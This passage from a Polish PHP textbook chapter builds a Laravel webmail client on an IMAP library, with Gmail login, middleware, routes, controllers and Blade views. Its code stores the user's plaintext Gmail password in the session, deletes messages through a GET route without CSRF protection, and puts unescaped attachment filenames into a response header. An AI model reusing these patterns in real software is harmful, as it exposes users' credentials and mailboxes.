rza przeznaczonego do ochrony przed atakami CSRF (ang. Cross-Site Request Forgery).

Skoro widoki są już gotowe, możemy zająć się zaimplementowaniem logiki, która będzie je ob-
sługiwać. Zaczniemy od zdefiniowania niezbędnej trasy w aplikacji. W tworzonym projekcie ta
trasa oraz odpowiadająca jej trasa do wylogowania użytkownika będą jedynymi, które nie wy-
magają uwierzytelniania. Ponieważ obie te trasy mają być wykonywane w ramach obsługi żądań
HTTP, dodamy do nich także oprogramowanie warstwy pośredniej 'web' (udostępniane przez sam
framework Laravel). A zatem w pliku app/Http/routes.php musimy zdefiniować następujące trasy:
Route::group(['middleware' => ['web']], function() {
Route::get('auth/login', [
'as' => 'login',
'uses' => 'Auth\AuthController@getLogin'
]);

Route::get('auth/logout', 'Auth\AuthController@getLogout');
Route::post('auth/login', 'Auth\AuthController@postLoginGMail');
});

Kolejnym zadaniem będzie implementacja klasy kontrolera App\Http\Controllers\Auth\Auth


Controller, który będzie zawierał logikę do obsługi formularza logowania.
<?php
namespace App\Http\Controllers\Auth;

use App\User;
use Validator;
use App\Http\Controllers\Controller;
use Illuminate\Foundation\Auth\ThrottlesLogins;
use Illuminate\Foundation\Auth\AuthenticatesAndRegistersUsers;
use Illuminate\Foundation\Auth\AuthenticatesUsers;
use Illuminate\Http\Request;
use App\Library\Imap\ImapException;

class AuthController extends Controller


{
use AuthenticatesUsers;

public function __construct()


{
$this->middleware('guest', ['except' => 'logout']);
}

public function postLoginGMail(Request $request)


{
$connection = \App::make('Imap\Connection\GMail');

$connection->setUsername($request->get('email'))
->setPassword($request->get('password'));

try {
$client = $connection->connect();
620 Część V  Tworzenie praktycznych projektów PHP i MySQL

} catch(ImapException $e) {
return $this->sendFailedLoginResponse($request);
}

$credentials = [
'user' => $request->get('email'),
'password' => $request->get('password')
];

\Session::put('credentials', $credentials);

return redirect('inbox');
}
}
?>

Choć w powyższym kontrolerze nie ma zbyt dużej ilości kodu, to jednak dzieje się w nim
znacznie więcej, niż widać na pierwszy rzut oka. Klasa AuthController definiuje jedynie dwie
metody, z których pierwszą jest konstruktor, ale opiera się na zdefiniowanej przez framework
Laravel cesze o nazwie AuthenticatesUsers, uzupełniającej wszelkie brakujące możliwości funkcjo-
nalne. Cecha ta implementuje wszystkie metody niezbędne do wyświetlenia formularza logowania,
obsługi logowania, wylogowania itd.

A zatem logika logowania wygląda następująco:


1. Wyświetlenie formularza logowania (operacja ta jest obsługiwana przez cechę
AuthenticatesUsers).
2. Przesłanie formularza logowania (operacja ta jest obsługiwana przez metodę
AuthController::postLoginGMail()).
3. Wylogowanie użytkownika (operacja ta jest obsługiwana przez cechę
AuthenticatesUsers).

Jedyną metodą zaimplementowaną w klasie AuthController jest postLoginGMail(), która używa


singletonu zwróconego przez naszego zaimplementowanego wcześniej dostawcę usług w celu
pobrania obiektu klienta, określenia nazwy i hasła dostępu użytkownika oraz wykonania próby
nawiązania połączenia z serwerem IMAP. Jeśli próba ta zakończy się niepowodzeniem, to me-
toda connect() zgłosi wyjątek ImapException, który możemy przechwycić, by obsłużyć nieudane
logowanie. Jeśli jednak połączenie uda się nawiązać, to zastosowane informacje uwierzytelniające
zostają zapisane w tablicy, a ta z kolei, przy użyciu metody Session::put(), jest zapisywana w sesji
jako element 'credentials'; w końcu przekierowujemy użytkownika na stronę skrzynki odbiorczej,
korzystając z nazwanej trasy 'inbox'.

Musimy się jeszcze zastanowić nad tym, w jaki sposób aplikacja będzie mogła odróżniać uwie-
rzytelnionego użytkownika, który powinien mieć prawo dostępu do chronionych tras (zostaną
one stworzone i opisane w dalszej części rozdziału), od użytkownika nieuwierzytelnionego,
który będzie miał dostęp jedynie do strony logowania. We frameworku Laravel zajmuje się tym
odpowiednie oprogramowanie warstwy pośredniej, którego ideę przedstawiliśmy w poprzed-
nim rozdziale. Na potrzeby naszej aplikacji będziemy musieli zmodyfikować domyślną klasę
App\Http\Middleware\Authenticate dostępną w podstawowym projekcie aplikacji Laravel i zaim-
plementować w niej własną logikę określania tego, czy użytkownik jest uwierzytelniony, czy nie.
Konkretnie rzecz biorąc, dostęp powinien być udzielony bądź nie w zależności od istnienia
w sesji zmiennej 'credentials', zapisanej w metodzie postLoginGMail() kontrolera AuthController.
Poniżej przedstawiony został kod klasy Authenticate:
<?php
namespace App\Http\Middleware;
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 621

use Closure;
use Illuminate\Support\Facades\Auth;

class Authenticate
{
public function handle($request, Closure $next, $guard = null)
{
if(!\Session::has('credentials')) {
if($request->ajax()) {
return response('Unauthorized.', 401);
}
return redirect()->guest('auth/login');
}
return $next($request);
}
}
?>

Podobnie jak we wszystkich przypadkach oprogramowania warstwy pośredniej frameworka La-


ravel, powyższa klasa implementuje jedną metodę, handle(); są do niej przekazywane instancja
żądania oraz domknięcie reprezentujące „następne” oprogramowanie warstwy pośredniej w łańcu-
chu, które ma zostać wykonane. W metodzie sprawdzamy, czy w sesji istnieje zmienna o nazwie
'credentials', i na tej podstawie określamy, czy użytkownik został uwierzytelniony, czy nie.
Jeśli użytkownik nie został uwierzytelniony, to przekierowujemy go na stronę logowania, jeżeli
obsługiwane jest standardowe żądanie HTTP, bądź też — w przypadku żądania AJAX —
zwracamy błąd HTTP o numerze 401. Jeśli natomiast okaże się, że użytkownik faktycznie jest
uwierzytelniony, to w żaden sposób nie zmieniamy przepływu sterowania i wywołujemy następne
oprogramowanie warstwy pośredniej w łańcuchu.

Połączenie tych wszystkich elementów stanowi dość prostą implementację uwierzytelniania z wyko-
rzystaniem konta Gmail, której będziemy używać w naszym internetowym kliencie IMAP. Teraz
możemy przejść do implementacji zestawu możliwości funkcjonalnych samego klienta.

Implementacja głównego widoku aplikacji


Zanim przejdziemy do kolejnego etapu prac nad prezentowaną aplikacją, musimy zaznaczyć, że
cała logika jej działania związana z obsługą poczty elektronicznej zostanie zaimplementowana
w jednej klasie kontrolera: App\Http\Controllers\InboxController. W bardziej złożonych i rozbu-
dowanych aplikacjach lepszym rozwiązaniem byłoby zapewne rozbicie tej logiki na kilka odrębnych
kontrolerów, jednak w tej przykładowej aplikacji nie będzie to konieczne.

Możliwości funkcjonalne, które zaimplementujemy, w przeważającej mierze będą odpowiadać


możliwościom stworzonej wcześniej biblioteki IMAP i będą obejmować:
 pobieranie listy wiadomości e-mail z danej skrzynki pocztowej;
 wyświetlanie listy dostępnych skrzynek pocztowych oraz przełączanie się pomiędzy nimi;
 odczyt konkretnej wiadomości e-mail dostępnej w skrzynce pocztowej, włącznie
z załącznikami;
 usuwanie konkretnej wiadomości e-mail ze skrzynki pocztowej;
 tworzenie nowej wiadomości.

Pod względem przebiegu działania każde z powyższych zadań będzie realizowane przez aplikację
w podobny sposób:
622 Część V  Tworzenie praktycznych projektów PHP i MySQL

 sprawdzenie, czy użytkownik jest uwierzytelniony;


 pobranie z sesji informacji uwierzytelniających użytkownika;
 wykorzystanie biblioteki IMAP do nawiązania połączenia z serwerem;
 wykonanie pewnego zestawu operacji na serwerze;
 wygenerowanie wyników i przekazanie ich do przeglądarki użytkownika.

Zgodnie z informacjami podanymi w poprzednim punkcie rozdziału zmodyfikowaliśmy już


standardowe oprogramowanie warstwy pośredniej Laravela tak, by jego działanie odpowiadało
naszym potrzebom. Niemniej jednak, zanim framework zacznie go używać, musimy je zareje-
strować i powiązać z odpowiednimi trasami. A zatem pierwszym etapem prac nad główną częścią
naszej aplikacji będzie zdefiniowanie niezbędnych tras i określenie tego, że każda z nich, zanim
zostanie udostępniona, będzie musiała przejść test uwierzytelnienia. W tym celu ponownie wrócimy
do pliku app/Http/routes.php i dodamy do niego nową grupę tras, która będzie używać naszego
oprogramowania warstwy pośredniej służącego do kontroli uwierzytelnienia:
Route::group(['middleware' => ['web', 'auth']], function () {
Route::get('inbox', [
'as' => 'inbox',
'uses' => 'InboxController@getInbox'
]);

Route::get('read/{id}', [
'as' => 'read',
'uses' => 'InboxController@getMessage'
])->where('id', '[0-9]+');

Route::get('read/{id}/attachment/{partId}', [
'as' => 'read.attachment',
'uses' => 'InboxController@getAttachment'
])->where('partId', '[0-9]+(\.[0-9]+)*');

Route::get('compose/{id?}', [
'as' => 'compose',
'uses' => 'InboxController@getCompose'
])->where('id', '[0-9]+');

Route::get('inbox/delete/{id}', [
'as' => 'delete',
'uses' => 'InboxController@getDelete'
])->where('id', '[0-9]+');

Route::post('compose/send', [
'as' => 'compose.send',
'uses' => 'InboxController@postSend'
]);
});

Jak widać, powyższy fragment kodu definiuje nową grupę, składającą się z sześciu tras, odpowiada-
jących pięciu możliwościom funkcjonalnym, które zamierzamy zaimplementować w naszej apli-
kacji. Tras jest sześć, gdyż ze względu na załączniki do obsługi logiki służącej do wyświetlania
wiadomości potrzebne są dwie trasy.

Ponieważ przeważająca większość metod, które zaimplementujemy, wymaga prawidłowego połą-


czenia IMAP (obsługiwanego przy użyciu stworzonej wcześniej biblioteki IMAP), zaczniemy
od przedstawienia metody getImapClient(), zwracającej obiekt klient — Client — reprezentują-
cy prawidłowe połączenie z serwerem IMAP:
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 623

protected function getImapClient()


{
$credentials = \Session::get('credentials');

$client = \App::make('Imap\Connection\GMail')
->setUsername($credentials['user'])
->setPassword($credentials['password'])
->connect();

return $client;
}

Teraz możemy zająć się główną stroną naszej aplikacji oraz nazwaną trasą 'inbox', odpowiedzialną
za wyświetlenie użytkownikowi wszystkich wiadomości e-mail dostępnych w danej skrzynce
pocztowej. Tworząc tę stronę główną, zadbamy o wykorzystanie odpowiednio atrakcyjnego sposobu
prezentacji oraz podziału zawartości skrzynki na strony. Poniżej przedstawiony został kod metody
App\Http\Controllers\InboxController::getInbox():
public function getInbox(Request $request)
{
$client = $this->getImapClient();

$currentMailbox = $request->get('box', $client->getCurrentMailbox());

$mailboxes = $client->getMailboxes();

if($currentMailbox != $client->getCurrentMailbox()) {
if(in_array($currentMailbox, $mailboxes)) {
$client->setCurrentMailbox($currentMailbox);
}
}

$page = $request->get('page', 1);


$messages = $client->getPage($request->get('page', 1));

$paginator = new LengthAwarePaginator(


$messages,
$client->getCount(),
25,
$page, [
'path' => '/inbox'
]);
return view('app.inbox', compact('messages', 'mailboxes', 'currentMailbox', 'paginator'));
}

Komponent Paginator frameworka Laravel to przydatna klasa dostępna w projektach


Laravel, oferująca wygodne możliwości podziału na strony dużych kolekcji danych, czyli
takich, z jakimi można mieć do czynienia podczas obsługi poczty elektronicznej. W trakcie
korzystania z rodzimych kolekcji Laravela (takich jak te używane przez mechanizm Eloquent)
możliwości te są wbudowane w modele. Ponieważ w naszej aplikacji robimy coś bardziej
niezwykłego, musimy ręcznie utworzyć obiekt LengthAwarePaginator i przekazać do niego
wszystkie dane niezbędne do jego działania. Pełny opis API komponentów Laravela można
znaleźć w dokumentacji tego frameworka.

Kod metody getInbox() rozpoczyna się od pobrania bieżącej skrzynki pocztowej, której zawartość
będzie prezentowana. Jeśli skrzynka ta nie została określona, to domyślnie zostanie użyta dowolna
bieżąca skrzynka określona przez klienta IMAP. Jeżeli bieżąca skrzynka pocztowa jest inna niż
ta, której używa klient IMAP, to odpowiednio zmieniamy bieżącą skrzynkę. W następnej kolejności
wywoływana jest metoda klienta getMailboxes(), która — zgodnie z wcześniejszymi wyjaśnie-
niami — zwraca listę wszystkich skrzynek pocztowych dostępnych w używanym połączeniu
624 Część V  Tworzenie praktycznych projektów PHP i MySQL

IMAP. Później metoda pobiera z bieżącej skrzynki pocztowej jedną stronę wiadomości e-mail
(opierając się przy tym na numerze strony przekazanym przez użytkownika) i tworzy obiekt odpo-
wiedzialny za podział na strony, który zadba o zapewnienie możliwości poruszania się pomiędzy
stronami w interfejsie użytkownika aplikacji. I w końcu wszystkie te informacje zostają przekazane
do widoku app.inbox w celu ich wygenerowania i przesłania do przeglądarki użytkownika.
@extends('layouts.authed')

@section('stylesheets')
@parent
<link href="/css/app.css" rel="stylesheet"/>
@stop

@section('main')
<div class="row">
<div class="col-md-3">
<div class="text-center"><h2>Skrzynki pocztowe</h2></div>
<div class="panel panel-default">
<div class="panel-body">
<a href="/compose" class="btn btn-primary btn-block">Utwórz</a>
<ul class="folders">
@foreach($mailboxes as $mailbox)
<li>
<a href="/inbox?box={{{ $mailbox }}}"><i class="glyphicon
glyphicon-inbox"></i> {{{ $mailbox }}}</a>
</li>
@endforeach
</ul>
</div>
</div>
</div>
<div class="col-md-9">
<div class="text-center"><h2>Internetowy klient pocztowy - {{{ $currentMailbox }}}
</h2></div>
<div class="panel panel-default">
<div class="panel-body">
<ul class="messages">
@foreach($messages as $message)
<li>
<a href="/read/{{ $message->getMessageNo() }}" class="nohover">
<div class="header">
<span class="from">
{{{ $message->getFrom() }}}
<span class="pull-right">
{{{ $message->getDate()->format('F jS, Y h:i A') }}}
</span>
</span>
{{{ $message->getSubject() }}}
</div>
</a>
<hr/>
</li>
@endforeach
</ul>
</div>
</div>
<div class="text-center">
{{ $paginator->render() }}
</div>
</div>
</div>
@stop
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 625

Analiza kodu widoku app.inbox pokazuje, że rozszerza on nieistniejący jeszcze szablon Blade
o nazwie layouts.authed. Jest on niemal identyczny z układem layouts.public, który przedsta-
wiliśmy wcześniej, podczas prezentowania zagadnień związanych z uwierzytelnianiem, lecz różni
się od niego pod jednym względem: zawiera grupę konstrukcji warunkowych sprawdzających
zmienne sesyjne i wyświetlających stosowne komunikaty o błędach. Pozwolą nam one, o czym
Czytelnik się niebawem przekona, w atrakcyjny wizualnie sposób przekazywać użytkownikom
komunikaty informacyjne dotyczące wykonywanych operacji. Aby nie został pominięty żaden waż-
ny element aplikacji, poniżej przedstawiamy kod tego szablonu:
<html>
<head>
@section('stylesheets')
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/
css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhj
VME1fgjWPGmkzs7" crossorigin="anonymous">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/
bootstrap-theme.min.css" integrity="sha384-fLW2N01lMqjakBkx3l/M9EahuwpSfeNvV63J5ezn3u
ZzapT0u7EYsXMjQV+0En5r" crossorigin="anonymous">
@show
</head>
<body>
<div class="container">

@if (count($errors) > 0)


<div class="alert alert-danger">
<ul>
@foreach ($errors->all() as $error)
<li>{{ $error }}</li>
@endforeach
</ul>
</div>
@endif

@if(Session::has('success'))
<div class="alert alert-success" role="alert">{{ Session::get('success') }}</div>
@endif

@if(Session::has('error'))
<div class="alert alert-danger" role="alert">{{ Session::get('error') }}</div>
@endif

@if(Session::has('warning'))
<div class="alert alert-warning" role="alert">{{ Session::get('warning') }}</div>
@endif

@if(Session::has('info'))
<div class="alert alert-info" role="alert">{{ Session::get('info') }}</div>
@endif

@yield('main')

</div>
</body>

@section('javascript')
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"
integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS"
crossorigin="anonymous"></script>
@show

</html>
626 Część V  Tworzenie praktycznych projektów PHP i MySQL

Wróćmy teraz do układu app.inbox. Dzieli on interfejs aplikacji na dwie kolumny. Pierwszą z nich
jest kolumna paska bocznego, zawierająca listę dostępnych skrzynek pocztowych oraz odnośnik
umożliwiający napisanie nowej wiadomości. Druga kolumna zawiera listę wiadomości dostęp-
nych na obecnie prezentowanej stronie bieżącej skrzynki pocztowej, przy czym każda wiadomość
jest prezentowana jako odnośnik, którego kliknięcie pozwala wyświetlić jej treść. U dołu strony
wywoływana jest metoda render() obiektu $paginator, która automatycznie generuje atrakcyjny
wizualnie widżet pozwalający na przechodzenie pomiędzy kolejnymi stronami wiadomości w bie-
żącej skrzynce pocztowej (patrz rysunek 29.3).

Rysunek 29.3. Przykładowe wyniki wygenerowane przez metodę InboxController::getInbox()

Kolejna metoda, którą zaimplementujemy, będzie odpowiadać za zapewnienie użytkownikowi moż-


liwości odczytania konkretnej wiadomości ze skrzynki pocztowej. Szybki rzut okna na kod szablonu
Blade odpowiadający za generowanie listy dostępnych wiadomości wystarczy, żeby się przekonać,
iż będziemy korzystać z trasy /read/{id}, skojarzonej z metodą InboxController::getMessage().

Implementacja wyświetlania wiadomości


Kolejna możliwość funkcjonalna aplikacji, którą zaimplementujemy, będzie pozwalać użytkowni-
kom na przeczytanie wybranej (klikniętej) wiadomości. Za tę możliwość odpowiada przedstawio-
na poniżej metoda kontrolera InboxController::getMessage():
public function getMessage(Request $request)
{
$client = $this->getImapClient();

$currentMailbox = $request->get('box', $client->getCurrentMailbox());

$mailboxes = $client->getMailboxes();

if($currentMailbox != $client->getCurrentMailbox()) {
if(in_array($currentMailbox, $mailboxes)) {
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 627

$client->setCurrentMailbox($currentMailbox);
}
}

$messageId = $request->route('id');

$message = $client->getMessage($messageId)->fetch();

return view('app.read', compact('currentMailbox', 'mailboxes', 'message'));


}

Pod wieloma względami metoda InboxController::getMessage() przypomina przedstawioną wcze-


śniej metodę InboxController::getInbox(); wynika to z tego, że widoki używane przez te metody
mają bardzo podobne wymagania. Tak jak główny widok naszego klienta, także widok służący
do czytania wiadomości prezentuje listę wszystkich skrzynek pocztowych, dlatego też na początku
każdej z tych dwóch metod wykonywana jest ta sama logika. Metoda InboxController::getMessage()
wyróżnia się jedynie kilkoma ostatnimi wierszami kodu. Pobierany jest w nich (przy użyciu
metody Request::route() frameworka Laravel) z danych trasy identyfikator wiadomości, którą
należy wyświetlić, (używany do tego celu metody Request::route() frameworka Laravel), a później
pobierana jest „pusta” wersja wiadomości (poprzez wywołanie metody getMessage() naszego
klienta IMAP); jest ona następnie wypełniana danymi pobranymi z serwera dzięki wywołaniu
metody fetch(). Po przygotowaniu tych wszystkich danych są one przekazywane do widoku
app.read (przedstawionego poniżej) w celu ich wyświetlenia:
@extends('layouts.authed')

@section('stylesheets')
@parent
<link href="/css/app.css" rel="stylesheet"/>
@stop

@section('main')
<div class="row">
<div class="col-md-3">
<div class="text-center"><h2>Skrzynki pocztowe</h2></div>
<div class="panel panel-default">
<div class="panel-body">
<a href="/compose" class="btn btn-primary btn-block">Utwórz</a>
<ul class="folders">
@foreach($mailboxes as $mailbox)
<li>
<a href="/inbox?box={{{ $mailbox }}}"><i class="glyphicon
glyphicon-inbox"></i> {{{ $mailbox }}}</a>
</li>
@endforeach
</ul>
</div>
</div>
</div>
<div class="col-md-9">
<div class="text-center"><h2>Internetowy klient pocztowy - {{{ $currentMailbox }}}
</h2></div>
<div class="panel panel-default">

<div class="panel-body">
<div class="header">
<span class="from">
{{{ $message->getFrom() }}}
</span>
<span class="subject">
628 Część V  Tworzenie praktycznych projektów PHP i MySQL

{{{ $message->getSubject() }}}


<span class="date">
{{{ $message->getDate()->format('F jS, Y') }}}
</span>
</span>
</div>
<hr/>
<div class="btn-group pull-right">
<a href="/compose/{{ $message->getMessageNo() }}" class="btn btn-default">
<i class="glyphicon glyphicon-envelope"></i> Odpowiedz</a>
<a href="/inbox/delete/{{ $message->getMessageNo() }}" class="btn btn-
default"><i class="glyphicon glyphicon-trash"></i> Usuń</a>
</div>
<div class="messageBody">
{{ $message }}
@if(!empty($message->getAttachments()))
<hr/>
@foreach($message->getAttachments() as $part => $attachment)
<a href="/read/{{ $message->getMessageNo() }}/attachment/{
{ $part }}"><i class="glyphicon glyphicon-download-alt"></i>
{{ $attachment->getFilename() }}</a><br/>
@endforeach
@endif
</div>
</div>
</div>
</div>
</div>

@stop

Podobnie jak wcześniej metoda kontrolera, także przedstawiony powyżej szablon app.read pod
wieloma względami przypomina szablon app.inbox; wyjątkiem jest jedynie główny blok zawarto-
ści szablonu, który w głównej części strony prezentuje treść wiadomości, a nie ich listę. Ten wi-
dok określa też kilka operacji, które można wykonać na wiadomości, a konkretnie chodzi o napi-
sanie odpowiedzi lub usunięcie danej wiadomości. Analizując zawartość umieszczoną
bezpośrednio za treścią wiadomości, można zauważyć wywołanie metody getAttachments()
obiektu Message. Jak wiadomo z wcześniejszej części rozdziału, metoda ta zwraca tablicę obiek-
tów Attachments (zdefiniowanych w ramach naszej biblioteki IMAP), reprezentujących załączniki
odnalezione w wiadomości. Trzeba pamiętać, że podobnie jak obiekt Message, także obiekty klasy
Attachment nie pobierają zawartości załączników, jeśli im tego jawnie nie nakażemy. To ważna
cecha projektowa, gdyż wyświetlanie treści wiadomości nie wymaga wczytywania wszystkich
dołączonych do niej załączników. Zamiast tego w tym widoku jedynie przeglądamy listę wszyst-
kich załączników i dla każdego z nich generujemy odnośnik pozwalający na jego pobranie.

Każdy odnośnik do załącznika używa trasy o postaci /read/{messageId}/attachment/{partId}, a


rzut oka na zdefiniowane wcześniej trasy pozwala ustalić, że trasa ta jest skojarzona z metodą
kontrolera InboxController::getAttachment(). Oto kod tej metody:
public function getAttachment(Request $request)
{
$client = $this->getImapClient();

$messageId = $request->route('id');

$attachmentPart = $request->route('partId');

$message = $client->getMessage($messageId)->fetch();

$attachment = $message->getAttachmentByPartId($attachmentPart)->fetch();
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 629

return response()->make($attachment->getData(), 200, [


'Content-Type' => $attachment->getMimeType(),
'Content-Disposition' =>
"attachment; filename=\"{$attachment->getFilename()}\""
]);
}

Metoda InboxController::getAttachment() wyróżnia się spośród wszystkich innych metod kon-


trolera przedstawionych w tym rozdziale, gdyż jako jedyna nie używa komponentu View frame-
worka Laravel. W naszym przykładzie chcemy bowiem udostępnić użytkownikowi dane w formie
pozwalającej na pobranie pliku załącznika. W tym celu, używając przekazanych parametrów
trasy oraz naszej biblioteki IMAP, najpierw pobieramy odpowiednią wiadomość, a następnie
wybrany załącznik. Po pobraniu danych załącznika stosujemy metodę response() frameworka
Laravel, aby przygotować i wysłać niestandardową odpowiedź HTTP. Dla porównania we wszyst-
kich pozostałych metodach kontrolera InboxController używamy komponentu View do wygenero-
wania szablonu Blade. Zawartością tej odpowiedzi będą dane załącznika; poza tym dodajemy
do niej odpowiedni nagłówek Content-Type (taki sam, jaki został określony w wiadomości e-mail)
oraz nagłówek Content-Disposition. Nagłówki te informują przeglądarkę, że nie powinna natych-
miast otwierać i przetwarzać zawartości odpowiedzi, lecz zamiast tego zapisać ją jako plik, którego
nazwa została podana w nagłówku (i którą także odczytaliśmy z wiadomości e-mail).

Implementacja usuwania i wysyłania wiadomości


W kolejnym kroku zajmiemy się implementacją dwóch ostatnich możliwości funkcjonalnych
naszej przykładowej aplikacji: usuwaniem wiadomości oraz ich wysyłaniem. Usuwanie wiadomo-
ści jest najprostszym z logicznych zadań, które będą wykonywane przez aplikację. Operacja ta
jest przeprowadzana przez przedstawioną poniżej metodę InboxController::getDelete(), której
działanie sprowadza się do usunięcia wiadomości przy wykorzystaniu możliwości naszej biblioteki
IMAP oraz przekierowania użytkownika na stronę główną:
public function getDelete(Request $request)
{
$client = $this->getImapClient();

$messageId = $request->route('id');

$client->deleteMessage($messageId);

return redirect('inbox')->with('success', "Wiadomość została usunięta.");


}

Warto zwrócić uwagę na to, że po usunięciu wiadomości przekierowujemy użytkownika przy


wykorzystaniu metody with(), która pozwala na przekazanie komunikatu. Metoda ta ma dwa pa-
rametry: pierwszym jest identyfikator typu komunikatu (w tym przypadku jest nim 'success'),
a drugim — sama treść komunikatu. Komunikat ten jest zapisywany w sesji, a następnie, po zakoń-
czeniu obsługi kolejnego żądania, zostaje z niej usunięty. W naszym przykładzie w ramach obsługi
tego kolejnego żądania komunikat zostanie wyświetlony przez przedstawiony wcześniej szablon
layouts.authed, który zaprezentuje jego treść na stronie wynikowej w atrakcyjnej postaci.

Kolejną operacją, którą musimy zaimplementować, jest wysyłanie wiadomości. W prawdziwym


internetowym kliencie poczty elektronicznej, takim jak nasza aplikacja, wysyłanie wiadomości
byłoby obsługiwane przez serwery SMTP używanego klienta IMAP. Ale ponieważ implementacja
takiej operacji wykracza poza ramy tematyczne tego rozdziału i całego naszego projektu, skorzysta-
my z mechanizmów wysyłania wiadomości e-mail wbudowanych we framework Laravel. Pod
względem technicznym nie jest to rozwiązanie optymalne, gdyż niemal na pewno mechanizmy
630 Część V  Tworzenie praktycznych projektów PHP i MySQL

zaimplementowane we frameworku Laravel nie są dostosowane do współpracy z używanym


przez nas serwerem IMAP. Niemniej jednak zapewniają nam one przynajmniej podstawowe
możliwości wysyłania wiadomości e-mail.

Pierwszą z metod związanych z wysyłaniem wiadomości poczty elektronicznej, którą się zajmiemy,
będzie metoda InboxController::getCompose(). Jej zadaniem jest wygenerowanie interfejsu użyt-
kownika pozwalającego na napisanie i wysłanie nowej wiadomości bądź też odpowiedzi na jed-
ną z wiadomości dostępnych w skrzynce pocztowej. Poniżej przedstawiony został kod tej metody:
public function getCompose(Request $request)
{
$client = $this->getImapClient();

$mailboxes = $client->getMailboxes();

$messageId = $request->route('id');

$quotedMessage = '';
$message = null;

if(!is_null($messageId)) {
$message = $client->getMessage($messageId)->fetch();
$quotedMessage = $message->getPlainBody();

$messageLines = explode("\n", $quotedMessage);

foreach($messageLines as &$line) {
$line = ' > ' . $line;
}

$quotedMessage = implode("\n", $messageLines);


}

return view('app.compose', compact('quotedMessage', 'message', 'mailboxes'));


}

Ponieważ chcemy mieć możliwość zarówno tworzenia nowych wiadomości, jak i odpowiadania
na wiadomości znajdujące się w skrzynce pocztowej, logika działania metody InboxController::
getCompose() jest nieco bardziej rozbudowana i nie ogranicza się jedynie do pobierania listy
skrzynek pocztowych oraz generowania formularza HTML służącego do wpisywania treści wiado-
mości. W przypadku podania identyfikatora wiadomości, na którą chcemy odpowiedzieć, stanowią-
cego opcjonalny parametr trasy, metoda musi pobrać treść tej wiadomości (zapisaną w formie
zwyczajnego tekstu) i „zacytować” ją w tradycyjny sposób, charakterystyczny dla klientów poczty
elektronicznej. Ponieważ nasza aplikacja nie obsługuje wysyłania wiadomości w formacie
HTML, „zacytowanie” wiadomości sprowadza się do wykonania prostej operacji na łańcuchach
znaków, a konkretnie: dodaniu znaku ">" na początku każdego wiersza wiadomości, na którą
odpowiadamy. Ta „zacytowana” treść wiadomości, obiekt tej wiadomości oraz lista skrzynek
pocztowych zostają następnie przekazane do szablonu resources/views/app/compose.blade.php,
którego kod został przedstawiony poniżej:
@extends('layouts.authed')

@section('stylesheets')
@parent
<link href="/css/app.css" rel="stylesheet"/>
@stop

@section('main')
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 631

<div class="row">
<div class="col-md-3">
<div class="text-center"><h2>Skrzynki pocztowe</h2></div>
<div class="panel panel-default">
<div class="panel-body">
<a href="/compose" class="btn btn-primary btn-block">Utwórz</a>
<ul class="folders">
@foreach($mailboxes as $mailbox)
<li>
<a href="/inbox?box={{{ $mailbox }}}">
<i class="glyphicon glyphicon-inbox"></i>
{{{ $mailbox }}}
</a>
</li>
@endforeach
</ul>
</div>
</div>
</div>

<div class="col-md-9">

<div class="text-center">
@if(is_null($message))
<h2>Klient pocztowy - Nowa wiadomość</h2>
@else
<h2>Klient pocztowy - Odpowiedź</h2>
@endif
</div>

<div class="panel panel-default">


<div class="panel-body">
<form action="/compose/send" method="post">
{!! csrf_field() !!}
<div class="header">
@if(!is_null($message))
<span class="from">
Od: <input class="form-control"
type="text" name="from"
value="{{ $message->getToEmail() }}"/>
</span>
<span class="to">
Do: <input class="form-control"
type="text" name="to"
value="{{ $message->getFromEmail() }}"/>
</span>
<span class="subject">
Temat: <input type="text"
class="form-control" name="subject"
value="RE: {{{ $message->getSubject() }}}"/>
</span>
@else
<span class="from">
Od: <input type="text" name="from"
value="" class="form-control"/>
</span>
<span class="to">
Do: <input class="form-control" type="text"
name="to" value=""/>
</span>
<span class="subject">
Temat: <input type="text" name="subject"
632 Część V  Tworzenie praktycznych projektów PHP i MySQL

value="" class="form-control"/>
</span>
@endif
</div>
<hr/>
<div class="messageBody">
<textarea class="form-control replybox"
name="message" rows="10" >{{{ $quotedMessage }}}</textarea>
</div>
<hr/>
<input type="submit" class="btn btn-block btn-primary"
value="Wyślij wiadomość"/>
</form>
</div>
</div>
</div>
</div>

@stop

Powyższy szablon to właściwie dwa bardzo podobne szablony umieszczone w jednym pliku.
Jeśli do szablonu została przekazana wiadomość (co określamy na podstawie zmiennej $message,
która może mieć wartość null lub inną), to generujemy formularz z wypełnionymi polami nadaw-
cy, adresata i tematu, a dodatkowo w wielowierszowym polu tekstowym wyświetlamy przygotowa-
ną w kontrolerze treść wiadomości. Jeśli jednak żadna wiadomość nie zostanie przekazana do
szablonu, to wszystkie te pola będą puste, a użytkownik będzie je mógł odpowiednio wypełnić.
Poza tym także ten szablon widoku jest zgodny z naszym standardem i wyświetla w bocznej
kolumnie listę wszystkich dostępnych skrzynek pocztowych; formularz do edycji wiadomości jest
wyświetlany w głównej części strony.

Ostatnim etapem implementacji naszego klienta poczty elektronicznej jest zaimplementowanie


logiki obsługującej wysyłanie wiadomości. Przedstawiony wcześniej formularz wiadomości jest
przesyłany na serwer i obsługiwany przez metodę InboxController::postSend(). Odpowiada ona
za wysłanie wiadomości przy użyciu standardowego komponentu Mail frameworka Laravel oraz
przekierowanie użytkownika z powrotem na główną stronę aplikacji. Przy okazji korzystamy
także z komponentu do weryfikacji (Validate), który pozwala nam w bardzo prosty sposób upewnić
się, że informacje wpisane w formularzu mają sens:
public function postSend(Request $request)
{
$this->validate($request, [
'from' => 'required|email',
'to' => 'required|email',
'subject' => 'required|max:255',
